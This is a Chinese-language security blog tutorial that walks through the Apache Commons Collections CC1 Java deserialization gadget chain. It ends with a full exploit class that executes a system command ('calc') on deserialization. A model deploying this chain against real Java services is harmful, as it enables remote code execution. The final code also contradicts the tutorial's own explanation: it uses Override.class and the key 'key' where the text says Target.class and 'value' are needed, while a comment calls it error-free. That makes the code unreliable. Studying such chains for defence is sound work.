欢迎光临
我们一直在努力

Java安全-CC链 | CC1

CC 链背景介绍

  • 大概回顾一下反序列化链全过程:

  • 入口类:必须满足两点
  • 可序列化
  • 重写了 readObject()方法
  • 这里注意寻找链子的过程是从后往前找。

    CC1 链漏洞复现

    大概的链子长这样:

    AnnotationInvocationHandler.readObject()
    AbstractInputCheckedMapDecorator$MapEntry.setValue()
    TransformedMap.checkSetValue()
    ChainedTransformer.transform()
    InvokerTransformer.transform()
    Method.invoke("Runtime.exec()", "calc")

    准备工作

    • JDK 版本:8u65
    • Maven 依赖:

    新建一个 CCTest 类并写好序列化和反序列化的函数:

    再新建一个 CC1Test 类用于待会漏洞复现。

    链子寻找过程

    在 IDEA 中按 Ctrl+N 搜索 Transformer

    可以看到 Transformer 接收一个对象 input,然后进行一系列的操作,最终返回一个对象。

    我们可以看看它的实现类有哪些:

    • 光标放在 Transformer 接口上,右键点击
    • 选择 Go to → Implementations

    (为什么从 transform 开始找:它有很多实现类,其中有一些可以通过反射执行任意方法)

    有一个 InvokerTransformer 类,我们点进去看一下:

    public Object transform(Object input) {
    Class<?> cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes); // 用存储的 methodName 和 paramTypes 找方法
    return method.invoke(input, iArgs); // 用存储的 args 作为实际参数调用
    }

    可以看到这些参数在构造函数的时候就被传入并且赋值了,所以这里执行哪个对象的哪个方法,这些全部都是可控的。

    那我们就可以尝试让它去执行一个危险方法:

    • 第二个参数:告诉 Java 的反射机制“我要调用的那个方法,它的参数是 String 类型”。
    • 第三个参数:告诉 Java“我实际传进去的参数值是 "calc" 这个字符串”。

    点击运行,也是成功弹出计算器了。

    到这里我们就从危险方法向前推进了一步,找到了一个中间类。

    现在我们来看一下谁调用了 InvokerTransformer 类中的 transofrm 方法呢?按 Ctrl+Alt+Shift+F7 查找用法。然后找到了 TransformedMap 这个类中的 checkSetValue()方法

    我们要让 valueTransformer 等于之前的 invokerTransformer

    那么实际执行的就会是:

    return invokerTransformer.transform(Runtime.getRuntime());

    那么我们怎么给这个 valueTransformer 赋值呢?

    可以看到这个构造方法中对它进行了赋值。

    但这个访问级别是只有内部才能访问,而外部无法访问。所以我们是无法直接调这个构造方法的。

    再看到这里有一个装饰方法,可以传入 valueTransformer,再调用构造方法。

    所以:

    现在赋值的问题解决了,还需要想办法调起这个 checkSetValue()

    很显然这个 checkSetValue()也是无法直接调起的,因为它也是个 protected

    那么怎么才能调起 checkSetValue 这个函数呢?

    可以看到这个 setValue()函数里面调用了 checkSetvalue:

    这个 setValue()是可以从外部调起的,于是现在我们关心的就是如何给 setValue()传入 Runtime.getRuntime();以及给 valueTransformer 赋值成 invokerTransformer。

    在这个构造方法中,它把 map 传给了它的父类,

    父类再把 map 传给父类的父类

    父类的父类就把它传给的 map 赋值给了自身的属性。

    在这个直接父类里,重写了 setValue()逻辑。它先把你注入过来的值给你转换一下,再给你写进 map 里面。

    具体来说就是,被增强后的 TransformedMap 对象,在执行 Map.Entry.setValue()的时候,会被替换成重写后的 setValue()函数。

    在这种情况下我们怎么去利用呢?我们可以先 new 一个自己的 Map:

    HashMap<Object,Object> map=new HashMap<>();

    然后我们可以在这个 Map 里放入一些值:

    map.put("a","b");

    我们通过 TransformedMap 对我们原先的原始 Map 做一下增强:

    Map<Object,Object> decorated=TransformedMap.decorate(map,null,invokerTransformer);

    最后返回的这个 Map 是增强过的。

    最后调起增强过的 Map 的 setValue 方法:

    for(Map.Entry<Object,Object> entry:decorated.entrySet()){
    entry.setValue(Runtime.getRuntime());
    }

    完整 invokerExec2 代码:

    可以看到成功弹出计算器

    现在我们看看哪里调用了 setValue()方法(最好是入口类,重写了 readObject())

    可以找到 AnnotationInvocationHandler 类:

    到这里我们的链子基本就寻找结束了

    但是还有一些问题。比如 如何让我们增强过的 Map 等于这个 TransformedMap?

    (“增强”:新增了行为,但没有改变原有数据存储的本质。)

    好消息是我们看到它是在构造方法这里赋值的:

    坏消息是 AnnotationInvocationHandler 这个类不是 public 的,这个构造方法也不是 public 的。

    但我们可以使用反射把它给构造出来:

  • 我们把刚才写的增强过后的 Map 给复制过来:
  • 1.然后通过反射去构造我们的入口类:

    Class<?> clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

    2.通过这个类拿到它的构造方法:

    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);

    3.拿着这个构造方法去构造对象

    Object o = constructor.newInstance(Target.class, decorated);

    Map 要传我们增强过的 Map

    接下来我们怎么调用这个类的 readObject()方法呢?由于这个类是私有的,不能从外部直接调起。

    但是我们知道在反序列化的时候,它会调起这个重写的函数。而在反序列化之前,我们肯定要先对它进行序列化:

    invokerExec3 完整代码:

    现在还有一个问题:

    我们需要先把这两层 if 给过掉,才能执行下面的代码。

    • 第一层 if:memberType 不能等于空

    这里又是一个 Map。

    memberType.get("key")这里 get 一个已经存在的 key,才能保证 memberType 不为空。于是我们就需要知道它有什么 key。

    这里拿到了注解对象,然后调用了注解对象的 memberType()

    可以知道这里的 type 参数就是我们 AnnotationInvocationHandler 构造方法中传入的 type。

    我们来看看这个注解对象的 memberType()返回的是什么东西呢?

  • 首先 getInstance()传入一个注解类 Target.class
  • 运行一下:

    可以看到 Target.class 里面有这个 value。

    那么只需让 memberType.get(value),就可以过掉这层 if

    Class<?> memberType=memberType.get(name);

    如何让这个 name=value 呢?

    for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){
    String name=memberValue.getKey();

    遍历 memberValues.entrySet() 返回的集合中的每一个元素,每次循环将当前元素赋值给变量 memberValue(类型为 Map.Entry<String, Object>)

    那我们点进去看看这个 memberValue 又如何控制呢?

    这不就是我们一开始自己传入的那个增强 Map 吗?

    那么就是:

    memberType.get(map.key);

    • 第二层 if:memberType 是可以实例化的

    一般来说已经满足这个条件,所以第二层 if 自然而然就过掉了。

    之后我们就走到了这里。

    这里的值似乎是我们无法控制的。

    有一种 transform 不管输入什么,都能返回固定的内容。

    它就是 ConstantTransformer

    可以看到我们 input 什么和它返回什么没有半毛钱关系,它始终返回一个常量。

    这个常量是我们在构造这个类的时候传入的。

    但是如果用这个 transform 的话,我们的链子就没了,因为没有 invoke。

    好消息是这里还有一个 ChainedTransformer

    我们来看一下它的源码:

    它传入一个 Transformer 数组,然后链式调用数组里的这些 Transformer。前一个的输出是后一个的输入。就像这样:

    那么我们就可以:

    我们可以随便测试一下:

    chainedTransformer.transform("随便不知道");

    也是成功弹出了计算器。

    点击运行,这里还有最后一个问题,那就是我们的 Runtime 其实是不能被反序列化的

    但好消息是 Class 类是能反序列化的,它实现了序列化接口

    所以我们的思路就是通过 Class 调用 Runtime.getRuntime()

    1.新建一个 Class 变量

    Class clazz=Runtime.class;

    2.拿到它的方法

    Method getRuntimeMethod=clazz.getDeclaredMethod("getRuntime",null);

    3.通过 invoke 调用这个方法

    Object invoke=getRuntimeMethod.invoke(null);

    现在我们要解决的问题就是如何把这两段代码改造成 invokerTransformer

    修改 test2()中的代码:

    点击运行,成功弹出计算器

    至此 CC1 链就结束了。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;

    public class CC1FinalEXP {
    public static void main(String[] args) throws Exception {
    // 1. 构造核心命令执行链(唯一、正确、无报错的链)
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    Transformer chainedTransformer = new ChainedTransformer(transformers);

    // 2. 构造触发用的 Map
    Map map = new HashMap();
    map.put("key", "value");
    Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

    // 3. 反射获取 AnnotationInvocationHandler(反序列化触发类)
    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object annotationInvocationHandler = constructor.newInstance(Override.class, transformedMap);

    // 4. 序列化 + 反序列化(触发漏洞)
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(annotationInvocationHandler);
    oos.close();

    ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bis);
    ois.readObject(); // 触发!仅弹1次计算器
    }
    }

    补 Java 基础语法知识点:

    赞(0)
    未经允许不得转载:171主机测评 » Java安全-CC链 | CC1
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址